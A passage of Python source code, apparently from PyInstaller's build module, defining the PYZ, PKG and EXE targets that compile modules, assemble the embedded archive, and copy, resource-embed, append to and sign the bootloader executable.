                "Please remove the 'cipher' arguments to PYZ() and Analysis() in your spec file."
            )

        from PyInstaller.config import CONF

        super().__init__()

        name = kwargs.get('name', None)

        self.name = name
        if name is None:
            self.name = os.path.splitext(self.tocfilename)[0] + '.pyz'

        # PyInstaller bootstrapping modules.
        bootstrap_dependencies = get_bootstrap_modules()

        # Compile the python modules that are part of bootstrap dependencies, so that they can be collected into the
        # CArchive/PKG and imported by the bootstrap script.
        self.dependencies = []
        workpath = os.path.join(CONF['workpath'], 'localpycs')
        for name, src_path, typecode in bootstrap_dependencies:
            if typecode == 'PYMODULE':
                # Compile pymodule and include the compiled .pyc file.
                pyc_path = compile_pymodule(name, src_path, workpath, code_cache=None)
                self.dependencies.append((name, pyc_path, typecode))
            else:
                # Include as is (extensions).
                self.dependencies.append((name, src_path, typecode))

        # Merge input TOC(s) and their code object dictionaries (if available). Skip the bootstrap modules, which will
        # be passed on to CArchive/PKG.
        bootstrap_module_names = set(name for name, _, typecode in self.dependencies if typecode == 'PYMODULE')
        self.toc = []
        self.code_dict = {}
        for toc in tocs:
            # Check if code cache association exists for the given TOC list
            code_cache = CONF['code_cache'].get(id(toc))
            if code_cache is not None:
                self.code_dict.update(code_cache)

            for entry in toc:
                name, _, typecode = entry
                # PYZ expects only PYMODULE entries (python code objects).
                assert typecode == 'PYMODULE', f"Invalid entry passed to PYZ: {entry}!"
                # Module required during bootstrap; skip to avoid collecting a duplicate.
                if name in bootstrap_module_names:
                    continue
                self.toc.append(entry)

        # Normalize TOC
        self.toc = normalize_pyz_toc(self.toc)

        # Alphabetically sort the TOC to enable reproducible builds.
        self.toc.sort()

        self.__postinit__()

    _GUTS = (
        # input parameters
        ('name', _check_guts_eq),
        ('toc', _check_guts_toc),
        # no calculated/analysed values
    )

    def assemble(self):
        logger.info("Building PYZ (ZlibArchive) %s", self.name)

        # Ensure code objects are available for all modules we are about to collect.
        # NOTE: `self.toc` is already sorted by names.
        archive_toc = []
        for entry in self.toc:
            name, src_path, typecode = entry
            if name not in self.code_dict:
                # The code object is not available from the ModuleGraph's cache; re-create it.
                try:
                    self.code_dict[name] = get_code_object(name, src_path)
                except SyntaxError:
                    # The module was likely written for different Python version; exclude it
                    continue
            archive_toc.append(entry)

        # Remove leading parts of paths in code objects.
        self.code_dict = {name: strip_paths_in_code(code) for name, code in self.code_dict.items()}

        # Create the archive
        ZlibArchiveWriter(self.name, archive_toc, code_dict=self.code_dict)
        logger.info("Building PYZ (ZlibArchive) %s completed successfully.", self.name)


class PKG(Target):
    """
    Creates a CArchive. CArchive is the data structure that is embedded into the executable. This data structure allows
    to include various read-only data in a single-file deployment.
    """
    xformdict = {
        'PYMODULE': 'm',
        'PYSOURCE': 's',
        'EXTENSION': 'b',
        'PYZ': 'z',
        'PKG': 'a',
        'DATA': 'x',
        'BINARY': 'b',
        'ZIPFILE': 'Z',
        'EXECUTABLE': 'b',
        'DEPENDENCY': 'd',
        'SPLASH': 'l',
        'SYMLINK': 'n',
    }

    def __init__(
        self,
        toc,
        python_lib_name,
        name=None,
        cdict=None,
        exclude_binaries=False,
        strip_binaries=False,
        upx_binaries=False,
        upx_exclude=None,
        target_arch=None,
        codesign_identity=None,
        entitlements_file=None
    ):
        """
        toc
            A TOC (Table of Contents) list.
        python_lib_name
            Name of the python shared library to store in PKG. Required by bootloader.
        name
            An optional filename for the PKG.
        cdict
            Dictionary that specifies compression by typecode. For Example, PYZ is left uncompressed so that it
            can be accessed inside the PKG. The default uses sensible values. If zlib is not available, no
            compression is used.
        exclude_binaries
            If True, EXTENSIONs and BINARYs will be left out of the PKG, and forwarded to its container (usually
            a COLLECT).
        strip_binaries
            If True, use 'strip' command to reduce the size of binary files.
        upx_binaries
        """
        super().__init__()

        self.toc = normalize_toc(toc)  # Ensure guts contain normalized TOC
        self.python_lib_name = python_lib_name
        self.cdict = cdict
        self.name = name
        if name is None:
            self.name = os.path.splitext(self.tocfilename)[0] + '.pkg'
        self.exclude_binaries = exclude_binaries
        self.strip_binaries = strip_binaries
        self.upx_binaries = upx_binaries
        self.upx_exclude = upx_exclude or []
        self.target_arch = target_arch
        self.codesign_identity = codesign_identity
        self.entitlements_file = entitlements_file

        # This dict tells PyInstaller what items embedded in the executable should be compressed.
        if self.cdict is None:
            self.cdict = {
                'EXTENSION': COMPRESSED,
                'DATA': COMPRESSED,
                'BINARY': COMPRESSED,
                'EXECUTABLE': COMPRESSED,
                'PYSOURCE': COMPRESSED,
                'PYMODULE': COMPRESSED,
                'SPLASH': COMPRESSED,
                # Do not compress PYZ as a whole, as it contains individually-compressed modules.
                'PYZ': UNCOMPRESSED,
                # Do not compress target names in symbolic links.
                'SYMLINK': UNCOMPRESSED,
            }

        self.__postinit__()

    _GUTS = (  # input parameters
        ('name', _check_guts_eq),
        ('cdict', _check_guts_eq),
        ('toc', _check_guts_toc),  # list unchanged and no newer files
        ('python_lib_name', _check_guts_eq),
        ('exclude_binaries', _check_guts_eq),
        ('strip_binaries', _check_guts_eq),
        ('upx_binaries', _check_guts_eq),
        ('upx_exclude', _check_guts_eq),
        ('target_arch', _check_guts_eq),
        ('codesign_identity', _check_guts_eq),
        ('entitlements_file', _check_guts_eq),
        # no calculated/analysed values
    )

    def assemble(self):
        logger.info("Building PKG (CArchive) %s", os.path.basename(self.name))

        bootstrap_toc = []  # TOC containing bootstrap scripts and modules, which must not be sorted.
        archive_toc = []  # TOC containing all other elements. Sorted to enable reproducible builds.

        for dest_name, src_name, typecode in self.toc:
            # Ensure that the source file exists, if necessary. Skip the check for OPTION entries, where 'src_name' is
            # None. Also skip DEPENDENCY entries due to special contents of 'dest_name' and/or 'src_name'. Same for the
            # SYMLINK entries, where 'src_name' is relative target name for symbolic link.
            if typecode not in {'OPTION', 'DEPENDENCY', 'SYMLINK'} and not os.path.exists(src_name):
                if strict_collect_mode:
                    raise ValueError(f"Non-existent resource {src_name}, meant to be collected as {dest_name}!")
                else:
                    logger.warning(
                        "Ignoring non-existent resource %s, meant to be collected as %s", src_name, dest_name
                    )
                    continue
            if typecode in ('BINARY', 'EXTENSION'):
                if self.exclude_binaries:
                    # This is onedir-specific codepath - the EXE and consequently PKG should not be passed the Analysis'
                    # `datas` and `binaries` TOCs (unless the user messes up the .spec file). However, EXTENSION entries
                    # might still slip in via `PYZ.dependencies`, which are merged by EXE into its TOC and passed on to
                    # PKG here. Such entries need to be passed to the parent container (the COLLECT) via
                    # `PKG.dependencies`.
                    #
                    # This codepath formerly performed such pass-through only for EXTENSION entries, but in order to
                    # keep code simple, we now also do it for BINARY entries. In a sane world, we do not expect to
                    # encounter them here; but if they do happen to pass through here and we pass them on, the
                    # container's TOC de-duplication should take care of them (same as with EXTENSION ones, really).
                    self.dependencies.append((dest_name, src_name, typecode))
                else:
                    # This is onefile-specific codepath. The binaries (both EXTENSION and BINARY entries) need to be
                    # processed using `process_collected_binary` helper.
                    src_name = process_collected_binary(
                        src_name,
                        dest_name,
                        use_strip=self.strip_binaries,
                        use_upx=self.upx_binaries,
                        upx_exclude=self.upx_exclude,
                        target_arch=self.target_arch,
                        codesign_identity=self.codesign_identity,
                        entitlements_file=self.entitlements_file,
                        strict_arch_validation=(typecode == 'EXTENSION'),
                    )
                    archive_toc.append((dest_name, src_name, self.cdict.get(typecode, False), self.xformdict[typecode]))
            elif typecode in ('DATA', 'ZIPFILE'):
                # Same logic as above for BINARY and EXTENSION; if `exclude_binaries` is set, we are in onedir mode;
                # we should exclude DATA (and ZIPFILE) entries and instead pass them on via PKG's `dependencies`. This
                # prevents a onedir application from becoming a broken onefile one if user accidentally passes datas
                # and binaries TOCs to EXE instead of COLLECT.
                if self.exclude_binaries:
                    self.dependencies.append((dest_name, src_name, typecode))
                else:
                    if typecode == 'DATA' and os.access(src_name, os.X_OK):
                        # DATA with executable bit set (e.g., shell script); turn into binary so that executable bit is
                        # restored on the extracted file.
                        carchive_typecode = 'b'
                    else:
                        carchive_typecode = self.xformdict[typecode]
                    archive_toc.append((dest_name, src_name, self.cdict.get(typecode, False), carchive_typecode))
            elif typecode == 'OPTION':
                archive_toc.append((dest_name, '', False, 'o'))
            elif typecode in ('PYSOURCE', 'PYMODULE'):
                # Collect python script and modules in a TOC that will not be sorted.
                bootstrap_toc.append((dest_name, src_name, self.cdict.get(typecode, False), self.xformdict[typecode]))
            else:
                # PYZ, PKG, DEPENDENCY, SPLASH, SYMLINK
                archive_toc.append((dest_name, src_name, self.cdict.get(typecode, False), self.xformdict[typecode]))

        # Sort content alphabetically by type and name to enable reproducible builds.
        archive_toc.sort(key=itemgetter(3, 0))
        # Do *not* sort modules and scripts, as their order is important.
        # TODO: Think about having all modules first and then all scripts.
        CArchiveWriter(self.name, bootstrap_toc + archive_toc, pylib_name=self.python_lib_name)

        logger.info("Building PKG (CArchive) %s completed successfully.", os.path.basename(self.name))


class EXE(Target):
    """
    Creates the final executable of the frozen app. This bundles all necessary files together.
    """
    def __init__(self, *args, **kwargs):
        """
        args
            One or more arguments that are either an instance of `Target` or an iterable representing TOC list.
        kwargs
            Possible keyword arguments:

            bootloader_ignore_signals
                Non-Windows only. If True, the bootloader process will ignore all ignorable signals. If False (default),
                it will forward all signals to the child process. Useful in situations where for example a supervisor
                process signals both the bootloader and the child (e.g., via a process group) to avoid signalling the
                child twice.
            console
                On Windows or Mac OS governs whether to use the console executable or the windowed executable. Always
                True on Linux/Unix (always console executable - it does not matter there).
            hide_console
                Windows only. In console-enabled executable, hide or minimize the console window if the program owns the
                console window (i.e., was not launched from existing console window). Depending on the setting, the
                console is hidden/mininized either early in the bootloader execution ('hide-early', 'minimize-early') or
                late in the bootloader execution ('hide-late', 'minimize-late'). The early option takes place as soon as
                the PKG archive is found. In onefile builds, the late option takes place after application has unpacked
                itself and before it launches the child process. In onedir builds, the late option takes place before
                starting the embedded python interpreter.
            disable_windowed_traceback
                Disable traceback dump of unhandled exception in windowed (noconsole) mode (Windows and macOS only),
                and instead display a message that this feature is disabled.
            debug
                Setting to True gives you progress messages from the executable (for console=False there will be
                annoying MessageBoxes on Windows).
            name
                The filename for the executable. On Windows suffix '.exe' is appended.
            exclude_binaries
                Forwarded to the PKG the EXE builds.
            icon
                Windows and Mac OS only. icon='myicon.ico' to use an icon file or icon='notepad.exe,0' to grab an icon
                resource. Defaults to use PyInstaller's console or windowed icon. Use icon=`NONE` to not add any icon.
            version
                Windows only. version='myversion.txt'. Use grab_version.py to get a version resource from an executable
                and then edit the output to create your own. (The syntax of version resources is so arcane that I would
                not attempt to write one from scratch).
            uac_admin
                Windows only. Setting to True creates a Manifest with will request elevation upon application start.
            uac_uiaccess
                Windows only. Setting to True allows an elevated application to work with Remote Desktop.
            argv_emulation
                macOS only. Enables argv emulation in macOS .app bundles (i.e., windowed bootloader). If enabled, the
                initial open document/URL Apple Events are intercepted by bootloader and converted into sys.argv.
            target_arch
                macOS only. Used to explicitly specify the target architecture; either single-arch ('x86_64' or 'arm64')
                or 'universal2'. Used in checks that the collected binaries contain the requires arch slice(s) and/or
                to convert fat binaries into thin ones as necessary. If not specified (default), a single-arch build
                corresponding to running architecture is assumed.
            codesign_identity
                macOS only. Use the provided identity to sign collected binaries and the generated executable. If
                signing identity is not provided, ad-hoc signing is performed.
            entitlements_file
                macOS only. Optional path to entitlements file to use with code signing of collected binaries
                (--entitlements option to codesign utility).
            contents_directory
                Onedir mode only. Specifies the name of the directory where all files par the executable will be placed.
        """
        from PyInstaller.config import CONF

        super().__init__()

        # Available options for EXE in .spec files.
        self.exclude_binaries = kwargs.get('exclude_binaries', False)
        self.bootloader_ignore_signals = kwargs.get('bootloader_ignore_signals', False)
        self.console = kwargs.get('console', True)
        self.hide_console = kwargs.get('hide_console', None)
        self.disable_windowed_traceback = kwargs.get('disable_windowed_traceback', False)
        self.debug = kwargs.get('debug', False)
        self.name = kwargs.get('name', None)
        self.icon = kwargs.get('icon', None)
        self.versrsrc = kwargs.get('version', None)
        self.manifest = kwargs.get('manifest', None)
        self.resources = kwargs.get('resources', [])
        self.strip = kwargs.get('strip', False)
        self.upx_exclude = kwargs.get("upx_exclude", [])
        self.runtime_tmpdir = kwargs.get('runtime_tmpdir', None)
        self.contents_directory = kwargs.get("contents_directory", "_internal")
        # If ``append_pkg`` is false, the archive will not be appended to the exe, but copied beside it.
        self.append_pkg = kwargs.get('append_pkg', True)

        # On Windows allows the exe to request admin privileges.
        self.uac_admin = kwargs.get('uac_admin', False)
        self.uac_uiaccess = kwargs.get('uac_uiaccess', False)

        # macOS argv emulation
        self.argv_emulation = kwargs.get('argv_emulation', False)

        # Target architecture (macOS only)
        self.target_arch = kwargs.get('target_arch', None)
        if is_darwin:
            if self.target_arch is None:
                import platform
                self.target_arch = platform.machine()
            else:
                assert self.target_arch in {'x86_64', 'arm64', 'universal2'}, \
                    f"Unsupported target arch: {self.target_arch}"
            logger.info("EXE target arch: %s", self.target_arch)
        else:
            self.target_arch = None  # explicitly disable

        # Code signing identity (macOS only)
        self.codesign_identity = kwargs.get('codesign_identity', None)
        if is_darwin:
            logger.info("Code signing identity: %s", self.codesign_identity)
        else:
            self.codesign_identity = None  # explicitly disable
        # Code signing entitlements
        self.entitlements_file = kwargs.get('entitlements_file', None)

        # UPX needs to be both available and enabled for the target.
        self.upx = CONF['upx_available'] and kwargs.get('upx', False)

        # Catch and clear options that are unsupported on specific platforms.
        if self.versrsrc and not is_win:
            logger.warning('Ignoring version information; supported only on Windows!')
            self.versrsrc = None
        if self.manifest and not is_win:
            logger.warning('Ignoring manifest; supported only on Windows!')
            self.manifest = None
        if self.resources and not is_win:
            logger.warning('Ignoring resources; supported only on Windows!')
            self.resources = []
        if self.icon and not (is_win or is_darwin):
            logger.warning('Ignoring icon; supported only on Windows and macOS!')
            self.icon = None
        if self.hide_console and not is_win:
            logger.warning('Ignoring hide_console; supported only on Windows!')
            self.hide_console = None

        if self.contents_directory in ("", ".", "..") \
                or "/" in self.contents_directory or "\\" in self.contents_directory:
            raise SystemExit(
                f'Invalid value "{self.contents_directory}" passed to `--contents-directory` or `contents_directory`. '
                'Exactly one directory level is required.'
            )

        if not kwargs.get('embed_manifest', True):
            from PyInstaller.exceptions import RemovedExternalManifestError
            raise RemovedExternalManifestError(
                "Please remove the 'embed_manifest' argument to EXE() in your spec file."
            )

        # Old .spec format included in 'name' the path where to put created app. New format includes only exename.
        #
        # Ignore fullpath in the 'name' and prepend DISTPATH or WORKPATH.
        # DISTPATH - onefile
        # WORKPATH - onedir
        if self.exclude_binaries:
            # onedir mode - create executable in WORKPATH.
            self.name = os.path.join(CONF['workpath'], os.path.basename(self.name))
        else:
            # onefile mode - create executable in DISTPATH.
            self.name = os.path.join(CONF['distpath'], os.path.basename(self.name))

        # Old .spec format included on Windows in 'name' .exe suffix.
        if is_win or is_cygwin:
            # Append .exe suffix if it is not already there.
            if not self.name.endswith('.exe'):
                self.name += '.exe'
            base_name = os.path.splitext(os.path.basename(self.name))[0]
        else:
            base_name = os.path.basename(self.name)
        # Create the CArchive PKG in WORKPATH. When instancing PKG(), set name so that guts check can test whether the
        # file already exists.
        self.pkgname = os.path.join(CONF['workpath'], base_name + '.pkg')

        self.toc = []

        for arg in args:
            # Valid arguments: PYZ object, Splash object, and TOC-list iterables
            if isinstance(arg, (PYZ, Splash)):
                # Add object as an entry to the TOC, and merge its dependencies TOC
                if isinstance(arg, PYZ):
                    self.toc.append((os.path.basename(arg.name), arg.name, "PYZ"))
                else:
                    self.toc.append((os.path.basename(arg.name), arg.name, "SPLASH"))
                self.toc.extend(arg.dependencies)
            elif miscutils.is_iterable(arg):
                # TOC-like iterable
                self.toc.extend(arg)
            else:
                raise TypeError(f"Invalid argument type for EXE: {type(arg)!r}")

        if self.runtime_tmpdir is not None:
            self.toc.append(("secret-tmpdir " + self.runtime_tmpdir, "", "OPTION"))

        if self.bootloader_ignore_signals:
            # no value; presence means "true"
            self.toc.append(("pyi-bootloader-ignore-signals", "", "OPTION"))

        if self.disable_windowed_traceback:
            # no value; presence means "true"
            self.toc.append(("pyi-disable-windowed-traceback", "", "OPTION"))

        if self.argv_emulation:
            # no value; presence means "true"
            self.toc.append(("pyi-macos-argv-emulation", "", "OPTION"))

        self.toc.append(("pyi-contents-directory " + self.contents_directory, "", "OPTION"))

        if self.hide_console:
            # Validate the value
            _HIDE_CONSOLE_VALUES = {'hide-early', 'minimize-early', 'hide-late', 'minimize-late'}
            self.hide_console = self.hide_console.lower()
            if self.hide_console not in _HIDE_CONSOLE_VALUES:
                raise ValueError(
                    f"Invalid hide_console value: {self.hide_console}! Allowed values: {_HIDE_CONSOLE_VALUES}"
                )
            self.toc.append((f"pyi-hide-console {self.hide_console}", "", "OPTION"))

        # If the icon path is relative, make it relative to the .spec file.
        if self.icon and self.icon != "NONE":
            if isinstance(self.icon, list):
                self.icon = [self._makeabs(ic) for ic in self.icon]
            else:
                self.icon = [self._makeabs(self.icon)]

        if is_win:
            if not self.icon:
                # --icon not specified; use default from bootloader folder
                if self.console:
                    ico = 'icon-console.ico'
                else:
                    ico = 'icon-windowed.ico'
                self.icon = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'bootloader', 'images', ico)

            # Prepare manifest for the executable by creating minimal manifest or modifying the supplied one.
            if self.manifest:
                # Determine if we were given a filename or an XML string.
                if "<" in self.manifest:
                    self.manifest = self.manifest.encode("utf-8")
                else:
                    self.manifest = self._makeabs(self.manifest)
                    with open(self.manifest, "rb") as fp:
                        self.manifest = fp.read()
            self.manifest = winmanifest.create_application_manifest(self.manifest, self.uac_admin, self.uac_uiaccess)

            if self.versrsrc:
                if isinstance(self.versrsrc, versioninfo.VSVersionInfo):
                    # We were passed a valid versioninfo.VSVersionInfo structure
                    pass
                elif isinstance(self.versrsrc, (str, bytes, os.PathLike)):
                    # File path; either absolute, or relative to the spec file
                    self.versrsrc = self._makeabs(self.versrsrc)
                    logger.debug("Loading version info from file: %r", self.versrsrc)
                    self.versrsrc = versioninfo.load_version_info_from_text_file(self.versrsrc)
                else:
                    raise TypeError(f"Unsupported type for version info argument: {type(self.versrsrc)!r}")

        # Identify python shared library. This is needed both for PKG (where we need to store the name so that
        # bootloader can look it up), and for macOS-specific processing of the generated executable (adjusting the SDK
        # version).
        #
        # NOTE: we already performed an equivalent search (using the same `get_python_library_path` helper) during the
        # analysis stage to ensure that the python shared library is collected. Unfortunately, with the way data passing
        # works in onedir builds, we cannot look up the value in the TOC at this stage, and we need to search again.
        self.python_lib = bindepend.get_python_library_path()
        if self.python_lib is None:
            from PyInstaller.exceptions import PythonLibraryNotFoundError
            raise PythonLibraryNotFoundError()

        # Normalize TOC
        self.toc = normalize_toc(self.toc)

        self.pkg = PKG(
            toc=self.toc,
            python_lib_name=os.path.basename(self.python_lib),
            name=self.pkgname,
            cdict=kwargs.get('cdict', None),
            exclude_binaries=self.exclude_binaries,
            strip_binaries=self.strip,
            upx_binaries=self.upx,
            upx_exclude=self.upx_exclude,
            target_arch=self.target_arch,
            codesign_identity=self.codesign_identity,
            entitlements_file=self.entitlements_file
        )
        self.dependencies = self.pkg.dependencies

        # Get the path of the bootloader and store it in a TOC, so it can be checked for being changed.
        exe = self._bootloader_file('run', '.exe' if is_win or is_cygwin else '')
        self.exefiles = [(os.path.basename(exe), exe, 'EXECUTABLE')]

        self.__postinit__()

    _GUTS = (
        # input parameters
        ('name', _check_guts_eq),
        ('console', _check_guts_eq),
        ('debug', _check_guts_eq),
        ('exclude_binaries', _check_guts_eq),
        ('icon', _check_guts_eq),
        ('versrsrc', _check_guts_eq),
        ('uac_admin', _check_guts_eq),
        ('uac_uiaccess', _check_guts_eq),
        ('manifest', _check_guts_eq),
        ('append_pkg', _check_guts_eq),
        ('argv_emulation', _check_guts_eq),
        ('target_arch', _check_guts_eq),
        ('codesign_identity', _check_guts_eq),
        ('entitlements_file', _check_guts_eq),
        # for the case the directory is shared between platforms:
        ('pkgname', _check_guts_eq),
        ('toc', _check_guts_eq),
        ('resources', _check_guts_eq),
        ('strip', _check_guts_eq),
        ('upx', _check_guts_eq),
        ('mtm', None),  # checked below
        # derived values
        ('exefiles', _check_guts_toc),
        ('python_lib', _check_guts_eq),
    )

    def _check_guts(self, data, last_build):
        if not os.path.exists(self.name):
            logger.info("Rebuilding %s because %s missing", self.tocbasename, os.path.basename(self.name))
            return True
        if not self.append_pkg and not os.path.exists(self.pkgname):
            logger.info("Rebuilding because %s missing", os.path.basename(self.pkgname))
            return True

        if Target._check_guts(self, data, last_build):
            return True

        mtm = data['mtm']
        if mtm != miscutils.mtime(self.name):
            logger.info("Rebuilding %s because mtimes don't match", self.tocbasename)
            return True
        if mtm < miscutils.mtime(self.pkg.tocfilename):
            logger.info("Rebuilding %s because pkg is more recent", self.tocbasename)
            return True

        return False

    @staticmethod
    def _makeabs(path):
        """
        Helper for anchoring relative paths to spec file location.
        """
        from PyInstaller.config import CONF
        if os.path.isabs(path):
            return path
        else:
            return os.path.join(CONF['specpath'], path)

    def _bootloader_file(self, exe, extension=None):
        """
        Pick up the right bootloader file - debug, console, windowed.
        """
        # Having console/windowed bootloader makes sense only on Windows and Mac OS.
        if is_win or is_darwin:
            if not self.console:
                exe = exe + 'w'
        # There are two types of bootloaders:
        # run     - release, no verbose messages in console.
        # run_d   - contains verbose messages in console.
        if self.debug:
            exe = exe + '_d'
        if extension:
            exe = exe + extension
        bootloader_file = os.path.join(HOMEPATH, 'PyInstaller', 'bootloader', PLATFORM, exe)
        logger.info('Bootloader %s' % bootloader_file)
        return bootloader_file

    def assemble(self):
        # On Windows, we used to append .notanexecutable to the intermediate/temporary file name to (attempt to)
        # prevent interference from anti-virus programs with the build process (see #6467). This is now disabled
        # as we wrap all processing steps that modify the executable in the `_retry_operation` helper; however,
        # we keep around the `build_name` variable instead of directly using `self.name`, just in case we need
        # to re-enable it...
        build_name = self.name

        logger.info("Building EXE from %s", self.tocbasename)
        if os.path.exists(self.name):
            if os.path.isdir(self.name):
                _rmtree(self.name)  # will prompt for confirmation if --noconfirm is not given
            else:
                os.remove(self.name)
        if not os.path.exists(os.path.dirname(self.name)):
            os.makedirs(os.path.dirname(self.name))
        bootloader_exe = self.exefiles[0][1]  # pathname of bootloader
        if not os.path.exists(bootloader_exe):
            raise SystemExit(_MISSING_BOOTLOADER_ERRORMSG)

        # Step 1: copy the bootloader file, and perform any operations that need to be done prior to appending the PKG.
        logger.info("Copying bootloader EXE to %s", build_name)
        self._retry_operation(shutil.copyfile, bootloader_exe, build_name)
        self._retry_operation(os.chmod, build_name, 0o755)

        if is_win:
            # First, remove all resources from the file. This ensures that no manifest is embedded, even if bootloader
            # was compiled with a toolchain that forcibly embeds a default manifest (e.g., mingw toolchain from msys2).
            self._retry_operation(winresource.remove_all_resources, build_name)
            # Embed icon.
            if self.icon != "NONE":
                logger.info("Copying icon to EXE")
                self._retry_operation(icon.CopyIcons, build_name, self.icon)
            # Embed version info.
            if self.versrsrc:
                logger.info("Copying version information to EXE")
                self._retry_operation(versioninfo.write_version_info_to_executable, build_name, self.versrsrc)
            # Embed/copy other resources.
            logger.info("Copying %d resources to EXE", len(self.resources))
            for resource in self.resources:
                self._retry_operation(self._copy_windows_resource, build_name, resource)
            # Embed the manifest into the executable.
            logger.info("Embedding manifest in EXE")
            self._retry_operation(winmanifest.write_manifest_to_executable, build_name, self.manifest)
        elif is_darwin:
            # Convert bootloader to the target arch
            logger.info("Converting EXE to target arch (%s)", self.target_arch)
            osxutils.binary_to_target_arch(build_name, self.target_arch, display_name='Bootloader EXE')

        # Step 2: append the PKG, if necessary
        if self.append_pkg:
            append_file = self.pkg.name  # Append PKG
            append_type = 'PKG archive'  # For debug messages
        else:
            # In onefile mode, copy the stand-alone PKG next to the executable. In onedir, this will be done by the
            # COLLECT() target.
            if not self.exclude_binaries:
                pkg_dst = os.path.join(os.path.dirname(build_name), os.path.basename(self.pkgname))
                logger.info("Copying stand-alone PKG archive from %s to %s", self.pkg.name, pkg_dst)
                shutil.copyfile(self.pkg.name, pkg_dst)
            else:
                logger.info("Stand-alone PKG archive will be handled by COLLECT")

            # The bootloader requires package side-loading to be explicitly enabled, which is done by embedding custom
            # signature to the executable. This extra signature ensures that the sideload-enabled executable is at least
            # slightly different from the stock bootloader executables, which should prevent antivirus programs from
            # flagging our stock bootloaders due to sideload-enabled applications in the wild.

            # Write to temporary file
            pkgsig_file = self.pkg.name + '.sig'
            with open(pkgsig_file, "wb") as f:
                # 8-byte MAGIC; slightly changed PKG MAGIC pattern
                f.write(b'MEI\015\013\012\013\016')

            append_file = pkgsig_file  # Append PKG-SIG
            append_type = 'PKG sideload signature'  # For debug messages

        if is_linux:
            # Linux: append data into custom ELF section using objcopy.
            logger.info("Appending %s to custom ELF section in EXE", append_type)
            cmd = ['objcopy', '--add-section', f'pydata={append_file}', build_name]
            p = subprocess.run(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
            if p.returncode:
                raise SystemError(f"objcopy Failure: {p.returncode} {p.stdout}")

        elif is_darwin:
            # macOS: remove signature, append data, and fix-up headers so that the appended data appears to be part of
            # the executable (which is required by strict validation during code-signing).

            # Strip signatures from all arch slices. Strictly speaking, we need to remove signature (if present) from
            # the last slice, because we will be appending data to it. When building universal2 bootloaders natively on
            # macOS, only arm64 slices have a (dummy) signature. However, when cross-compiling with osxcross, we seem to
            # get dummy signatures on both x86_64 and arm64 slices. While the former should not have any impact, it does
            # seem to cause issues with further binary signing using real identity. Therefore, we remove all signatures
            # and re-sign the binary using dummy signature once the data is appended.
            logger.info("Removing signature(s) from EXE")
            osxutils.remove_signature_from_binary(build_name)

            # Append the data
            logger.info("Appending %s to EXE", append_type)
            self._append_data_to_exe(build_name, append_file)

            # Fix Mach-O headers
            logger.info("Fixing EXE headers for code signing")
            osxutils.fix_exe_for_code_signing(build_name)
        else:
            # Fall back to just appending data at the end of the file
            logger.info("Appending %s to EXE", append_type)
            self._retry_operation(self._append_data_to_exe, build_name, append_file)

        # Step 3: post-processing
        if is_win:
            # Set checksum to appease antiviral software. Also set build timestamp to current time to increase entropy
            # (but honor SOURCE_DATE_EPOCH environment variable for reproducible builds).
            logger.info("Fixing EXE headers")
            build_timestamp = int(os.environ.get('SOURCE_DATE_EPOCH', time.time()))
            self._retry_operation(winutils.set_exe_build_timestamp, build_name, build_timestamp)
            self._retry_operation(winutils.update_exe_pe_checksum, build_name)
        elif is_darwin:
            # If the version of macOS SDK used to build bootloader exceeds that of macOS SDK used to built Python
            # library (and, by extension, bundled Tcl/Tk libraries), force the version declared by the frozen executable
            # to match that of the Python library.
            # Having macOS attempt to enable new features (based on SDK version) for frozen application has no benefit
            # if the Python library does not support them as well.
            # On the other hand, there seem to be UI issues in tkinter due to failed or partial enablement of dark mode
            # (i.e., the bootloader executable being built against SDK 10.14 or later, which causes macOS to enable dark
            # mode, and Tk libraries being built against an earlier SDK version that does not support the dark mode).
            # With python.org Intel macOS installers, this manifests as black Tk windows and UI elements (see issue
            # #5827), while in Anaconda python, it may result in white text on bright background.
            pylib_version = osxutils.get_macos_sdk_version(self.python_lib)
            exe_version = osxutils.get_macos_sdk_version(build_name)
            if pylib_version < exe_version:
                logger.info(
                    "Rewriting the executable's macOS SDK version (%d.%d.%d) to match the SDK version of the Python "
                    "library (%d.%d.%d) in order to avoid inconsistent behavior and potential UI issues in the "
                    "frozen application.", *exe_version, *pylib_version
                )
                osxutils.set_macos_sdk_version(build_name, *pylib_version)

            # Re-sign the binary (either ad-hoc or using real identity, if provided).
            logger.info("Re-signing the EXE")
            osxutils.sign_binary(build_name, self.codesign_identity, self.entitlements_file)

        # Ensure executable flag is set
        self._retry_operation(os.chmod, build_name, 0o755)
        # Get mtime for storing into the guts
        self.mtm = self._retry_operation(miscutils.mtime, build_name)
        if build_name != self.name:
            self._retry_operation(os.rename, build_name, self.name)
        logger.info("Building EXE from %s completed successfully.", self.tocbasename)

    def _copy_windows_resource(self, build_name, resource_spec):
        import pefile

        # Helper for optionally converting integer strings to values; resource types and IDs/names can be specified as
        # either numeric values or custom strings...
        def _to_int(value):
            try:
                return int(value)
            except Exception:
                return value

        logger.debug("Processing resource: %r", resource_spec)
        resource = resource_spec.split(",")  # filename,[type],[name],[language]

        if len(resource) < 1 or len(resource) > 4:
            raise ValueError(
                f"Invalid Windows resource specifier {resource_spec!r}! "
                f"Must be in format 'filename,[type],[name],[language]'!"
            )

        # Anchor resource file to spec file location, if necessary.
        src_filename = self._makeabs(resource[0])

        # Ensure file exists.
        if not os.path.isfile(src_filename):
            raise ValueError("Resource file {src_filename!r} does not exist!")

        # Check if src_filename points to a PE file or an arbitrary (data) file.
        try:
            with pefile.PE(src_filename, fast_load=True):
                is_pe_file = True
        except Exception:
            is_pe_file = False

        if is_pe_file:
            # If resource file is PE file, copy all resources from it, subject to specified type, name, and language.
            logger.debug("Resource file %r is a PE file...", src_filename)

            # Resource type, name, and language serve as filters. If not specified, use "*".
            resource_type = _to_int(resource[1]) if len(resource) >= 2 else "*"
            resource_name = _to_int(resource[2]) if len(resource) >= 3 else "*"
            resource_lang = _to_int(resource[3]) if len(resource) >= 4 else "*"

            try:
                winresource.copy_resources_from_pe_file(
                    build_name,
                    src_filename,
                    [resource_type],
                    [resource_name],
                    [resource_lang],
                )
            except Exception as e:
                raise IOError(f"Failed to copy resources from PE file {src_filename!r}") from e
        else:
            logger.debug("Resource file %r is an arbitrary data file...", src_filename)

            # For arbitrary data file, resource type and name need to be provided.
            if len(resource) < 3:
                raise ValueError(
                    f"Invalid Windows resource specifier {resource_spec!r}! "
                    f"For arbitrary data file, the format is 'filename,type,name,[language]'!"
                )

            resource_type = _to_int(resource[1])
            resource_name = _to_int(resource[2])
